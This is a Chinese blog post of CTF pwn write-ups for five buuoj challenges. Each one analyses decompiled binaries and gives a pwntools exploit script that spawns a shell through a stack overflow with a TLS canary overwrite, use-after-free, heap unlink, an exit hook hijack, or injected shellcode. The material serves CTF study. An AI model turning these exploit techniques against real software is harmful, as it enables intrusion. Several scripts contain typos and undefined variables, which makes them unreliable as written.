buuoj Pwn writeup 221-225

原创

yongbaoii 于 2021-08-31 08:07:11 发布 178 收藏

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/119140605

221 starctf2018_babystack

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols        FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   No PIE        No RPATH   No RUNPATH   No Symbols      Yes    0               3            ./221
```

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 result; // rax
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(byte_400C96);
  puts(" #    #     ####    #####  ######");
  puts("  # #     #    #      #    #");
  puts("### ###  #          #    #####");
  puts("  # #    #          #    #");
  puts(" #   #   #    #     #    #");
  puts("          ####      #    #");
  puts(byte_400C96);
  pthread_create(newthread, 0LL, start_routine, 0LL);
  if ( pthread_join(newthread[0], 0LL) )
  {
    puts("exit failure");
    result = 1LL;
  }
  else
  {
    puts("Bye bye");
    result = 0LL;
  }
  return result;
}
```


映入眼帘，程序比较简单，但似乎用了线程。

看看pthread_create函数是干嘛的。
函数声明

```
#include <pthread.h>
int pthread_create(
                pthread_t *restrict tidp,   //新创建的线程ID指向的内存单元。
                const pthread_attr_t *restrict attr,  //线程属性，默认为NULL
                void *(*start_rtn)(void *), //新创建的线程从start_rtn函数的地址开始运行
                void *restrict arg //默认为NULL。若上述函数需要参数，将参数放入结构中并将地址作为arg传入。
                 );
```

所以说白了就是线程id放下了数组，然后创建的线程走start那个函数。

后面还有一个pthread_join函数。

> pthread_join使一个线程等待另一个线程结束。
> 代码中如果没有pthread_join主线程会很快结束从而使整个进程结束，从而使创建的线程没有机会开始执行就结束了。加入pthread_join后，主线程会一直等待直到等待的线程结束自己才结束，使创建的线程有机会执行。

```
int pthread_join(pthread_t thread, void **value_ptr);
thread：等待退出线程的线程号。
value_ptr：退出线程的返回值。
```

那说半天花里胡哨的，能干嘛。好像就创建了一个线程而已，其实没啥用。

去看看那个start函数。

```
void *__fastcall start_routine(void *a1)
{
  unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
  char s[4104]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, 0x1000uLL);
  puts("Welcome to babystack 2018!");
  puts("How many bytes do you want to send?");
  v2 = sub_400906();
  if ( v2 <= 0x10000 )
  {
    sub_400957(0LL, s, v2);
    puts("It's time to say goodbye.");
  }
  else
  {
    puts("You are greedy!");
  }
  return 0LL;
}
```


开了个空间，问想输多少字节。空间大小是4104，输多少最大0x10000,似乎有戏。去看看那个函数干嘛的。

```
__int64 __fastcall sub_400957(int a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v5; // [rsp+20h] [rbp-10h]
  ssize_t v6; // [rsp+28h] [rbp-8h]

  v5 = 0LL;
  while ( v5 < a3 )
  {
    v6 = read(a1, (void *)(v5 + a2), a3 - v5);
    if ( v6 == -1 )
    {
      if ( *__errno_location() != 11 && *__errno_location() != 4 )
        return -1LL;
    }
    else
    {
      if ( !v6 )
        return v5;
      v5 += v6;
    }
  }
  return v5;
}
```


就是夸

夸输入，所以有个溢出，根据保护，利用这个溢出能干嘛。

有canary，所以绕过就行。怎么个绕法，去攻击TLS结构体，修改canary就好。

在使用pthread时，这个TLS会被定位到与线程的栈空间相接近的位置，所以如果输入的数据过长的话也可以把这里覆盖掉，就可以改掉stack_guard的值了。

exp

```python
# -*- coding: utf-8 -*-
from pwn import *


r = process("./221")
elf = ELF("./64/libc-2.27.so")

context.log_level = "debug"


pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
#顺便做个栈迁移
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
#没必要改rdx

payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x0')

r.sendlineafter("send?\n", str(0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

r.send(p64(one_gadget))

r.interactive()
```

222 xm_2019_awd_pwn2

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols     Yes    0               2            ./222
```

add

```
{
  int i; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("size:");
  v2 = sub_12EC();
  if ( v2 > 0 && v2 <= 4095 )
  {
    for ( i = 0; i <= 19 && qword_4060[i]; ++i )
      ;
```

```
    if ( i <= 19 )
    {
      qword_4060[i] = malloc(v2);
      printf("content:");
      sub_1249(qword_4060[i], (unsigned int)v2);
      puts("Done!");
    }
    else
    {
      puts("full");
    }
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v3;
```


free

```
unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  v1 = sub_12EC();
  if ( v1 >= 0 && v1 <= 19 && qword_4060[v1] )
  {
    free((void *)qword_4060[v1]);
    puts("Done!");
  }
  else
  {
    puts("invalid");
  }
  return __readfsqword(0x28u) ^ v2;
}
```


free这里明显的uaf

show

```
unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("idx:");
  v1 = sub_12EC();
  if ( v1 >= 0 && v1 <= 19 && qword_4060[v1] )
    puts((const char *)qword_4060[v1]);
  else
    puts("invalid");
  return __readfsqword(0x28u) ^ v2;
}
```


也就是输出。

说白了就是uaf。

exp

```python
from pwn import *

r = remote('node4.buuoj.cn',26055)

elf = ELF('./222')
libc = ELF("./64/libc-2.27.so")

def add(size,content):
    r.sendlineafter('>>','1')
    r.sendlineafter('size:',str(size))
    r.sendlineafter('content:',content)

def delete(idx):
    r.sendlineafter('>>','2')
    r.sendlineafter('idx:',str(idx))

def show(idx):
    r.sendlineafter('>>','3')
    r.sendlineafter('idx:',str(idx))


add(0x500,'aaaa') #0
add(0x500,'aaaa') #1
delete(0)
show(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']

add(0x60,'aaaa')#2
add(0x60,'aaaa')#3
delete(2)
delete(2)
add(0x60,p64(free_hook))
add(0x60,'doudou3')#4
add(0x60,p64(system_addr))#5
add(0x20,'/bin/sh\x00')#6


r.sendlineafter('>>','2')
r.sendlineafter('idx:','7')

r.interactive()
```

223 jarvisoj_level6

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols       No     0              2            ./223
```

保护有点少。

首先给了一个初始化。

```
_DWORD *sub_8048810()
{
  _DWORD *v0; // eax
  _DWORD *v1; // edx
  _DWORD *result; // eax

  v0 = malloc(0xC10u);
  dword_804A2EC = (int)v0;
  *v0 = 256;
  v0[1] = 0;
  v1 = v0 + 2;
  result = v0 + 770;
  do
  {
    *v1 = 0;
    v1[1] = 0;
    v1 += 3;
    *(v1 - 1) = 0;
  }
  while ( v1 != result );
  return result;
}
```


申请了一个大空间，第一个是256，第二个初始化为0，剩下的空间，每个分三个，然后全部初始化为0.

new

```
    else
    {
      v2 = 0;
LABEL_9:
      printf("Length of new note: ");
      v3 = sub_8048730();
      if ( v3 <= 0 )
      {
        result = puts("Invalid length!");
      }
      else
      {
        v4 = 4096;
        if ( v3 <= 4096 )
          v4 = v3;
        v5 = malloc(v4 + (-v4 & 0x7F));
        printf("Enter your note: ");
        sub_8048670(v5, v4);
        v6 = dword_804A2EC;
        v7 = (_DWORD *)(dword_804A2EC + 12 * v2);
        v7[3] = v4;
        v7[4] = v5;
        v7[2] = 1;
        ++*(_DWORD *)(v6 + 4);
        result = puts("Done.");
      }
    }
  }
  return result;
}
```


大小至少为136。

list note

```
_DWORD *list()
{
  _DWORD *result; // eax
  int i; // ebx
  _DWORD *v2; // edx
  int v3; // [esp-Ch] [ebp-18h]

  result = (_DWORD *)dword_804A2EC;
  if ( *(int *)(dword_804A2EC + 4) <= 0 )
    return (_DWORD *)puts("You need to create some new notes first.");
  for ( i = 0; *(_DWORD *)dword_804A2EC > i; result = (_DWORD *)dword_804A2EC )
  {
    while ( 1 )
    {
      v2 = &result[3 * i];
      if ( v2[2] == 1 )
        break;
      if ( *result <= ++i )
        return result;
    }
    v3 = i++;
    printf("%d. %s\n", v3, (const char *)v2[4]);
  }
  return result;
```


正常输出。

edit

```
int v7; // esi

printf("Note number: ");
v0 = sub_8048730();
if ( v0 < 0 )
  return puts("Invalid number!");
if ( v0 >= *(_DWORD *)dword_804A2EC )
  return puts("Invalid number!");
v1 = 12 * v0;
if ( *(_DWORD *)(dword_804A2EC + 12 * v0 + 8) != 1 )
  return puts("Invalid number!");
printf("Length of note: ");
v3 = sub_8048730();
if ( v3 <= 0 )
  return puts("Invalid length!");
v4 = 4096;
if ( v3 <= 4096 )
  v4 = v3;
v5 = v1 + dword_804A2EC;
if ( *(_DWORD *)(v1 + dword_804A2EC + 12) != v4 )
{
  v6 = realloc(*(void **)(v5 + 16), v4 + (-v4 & 0x7F));
  v7 = dword_804A2EC + v1;
  *(_DWORD *)(v5 + 16) = v6;
  *(_DWORD *)(v7 + 12) = v4;
}
printf("Enter your note: ");
sub_8048670(*(_DWORD *)(dword_804A2EC + 12 * v0 + 16), v4);
return puts("Done.");
}
```


正常edit

free

```
int v0; // eax
int v1; // edx
int v3; // eax

if ( *(int *)(dword_804A2EC + 4) <= 0 )
  return puts("No notes yet.");
printf("Note number: ");
v0 = sub_8048730();
if ( v0 < 0 )
  return puts("Invalid number!");
v1 = dword_804A2EC;
if ( v0 >= *(_DWORD *)dword_804A2EC )
  return puts("Invalid number!");
--*(_DWORD *)(dword_804A2EC + 4);
v3 = v1 + 12 * v0;
*(_DWORD *)(v3 + 8) = 0;
*(_DWORD *)(v3 + 12) = 0;
free(*(void **)(v3 + 16));
return puts("Done.");
}
```


很明显的uaf。

我们就正常unlink就好了。

exp

```
from pwn import *

context.log_level = 'debug'

libc = ELF("./32/libc-2.23.so")
elf = ELF('./223')
r = remote('node4.buuoj.cn',26559)

def listNote():
 r.sendlineafter("Your choice: ", "1")

def newNote(length, content):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter('Length of new note: ', str(length))
    r.sendlineafter('Enter your note: ', content)

def editNote(number, length, content):
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter('Note number: ', str(number))
    r.sendlineafter('Length of note: ', str(length))
    r.sendlineafter('Enter your note: ', content)

def deleteNote(number):
    r.sendlineafter("Your choice: ", "4")
    r.sendlnieafter('Note number: ', str(number))


newNote(7,'a'*7) # 0
newNote(7,'b'*7) # 1
deleteNote(0)
```

```
newNote(1,'0')
listNote()
r.recv(7)
libc_addr = u32(p.recv(4)) - 0x1b0b70
system_addr = libc_addr + libc.symbols['system']
print "libc_base = " + hex(libc_base)

newNote(7,'c'*7) # 2
newNote(7,'d'*7) # 3
deleteNote(0)
deleteNote(2)
newNote(1,'0')
listNote()
r.recv(7)
heap_base = u32(p.recv(4))-0xd28
deleteNote(0)
deleteNote(1)
deleteNote(3)

payload = p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)
payload = payload.ljust(0x80,'a')
payload += p32(0x80)+p32(0x80)
payload = payload.ljust(0x80*2,'a')
newNote(len(payload),payload)
deleteNote(1)

payload2 = p32(2)+p32(1)+p32(4)+p32(elf.got['free'])+p32(1)+p32(8)+p32(heap_base+0xca8)
payload2 = payload2.ljust(0x80*2,'\x00')
editNote(0,len(payload2),payload2)
editNote(0,4,p32(system_addr))
editNote(1,8,'/bin/sh\x00')

deleteNote(1)
r.interactive()
```

224 hctf2018_the_end

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO     No canary found   NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols     No      0              2            ./224
```

```
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h] BYREF

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}
```


程序可以让我们修改四个字节，所以我们的思路其实是能不能够劫持exit。

我们想到可以攻击IO_FILE，因为exit后会调用函数，调用vtable中的set_buf函数，他在vtable + 0x58的地方，所以我们把vtable的指针修改到附近，然后再伪造vtable中的指针为one_gadget。

但是我们发现，环境是ubuntu18，在libc2.24之后会对vtable进行检查，会让我们的对vtable指针的劫持失效，所以我们准备劫持exit函数。

exit函数调用过程中会调用 __rtld_lock_lock_recursive这个函数。
可以修改 _rtld_global 结构体的 _dl_rtld_lock_recursive 指针，将其修改为 one gadget 即可。

exp

```python
# coding=utf8
from pwn import *


context.log_level = "debug"

#r = process("./224")
r = remote("node4.buuoj.cn", "27336")
libc = ELF("./64/libc-2.27.so")
ld = ELF('/lib64/ld-linux-x86-64.so.2')
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./224")

r.recvuntil("0x")
sleep_addr = int(r.recv(12),16)
libc_base = sleep_addr - libc.symbols['sleep']
one_gadget = libc_base + 0x4f322
exit_hook = libc_base + 0x619f68

for i in range(5):
    r.send(p64(exit_hook + i))
    r.send(p64(one_gadget)[i])

r.sendline("exec /bin/sh 1>&0")
r.interactive()
```

225 inndy_onepunch

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE        No RPATH   No RUNPATH   73 Symbols    Yes     0              2            ./225
```

逻辑简单。

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  int v5; // [rsp+Ch] [rbp-14h]
  __int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF

  v6[1] = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  printf("Where What?");
  v5 = __isoc99_scanf("%llx %d", v6, &v4);
  if ( v5 != 2 )
    return 0;
  *(_BYTE *)v6[0] = v4;
  if ( v4 == 255 )
    puts("No flag for you");
  return 0;
}
```


逻辑还是比较简单的。
能修改一个字节。

这题坑在哪...它的text段居然是可以修改的.....
所以我们编写好shellcode，跳过去就行。

exp

```python
#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
r = process('./255')
text = 0x400767

def writeData(addr,data):
   r.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00')))

shellcode = asm('''mov rax,0x0068732f6e69622f
                   push rax
                   mov rdi,rsp
                   mov rax,59
                   xor rsi,rsi
                   mov rdx,rdx
                   syscall
                ''')

shellcode_addr = 0x400769
i = 0
for x in shellcode:
   data = u8(x)
   writeData(shellcode_addr + i,data)
   i = i + 1
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))

r.interactive()
```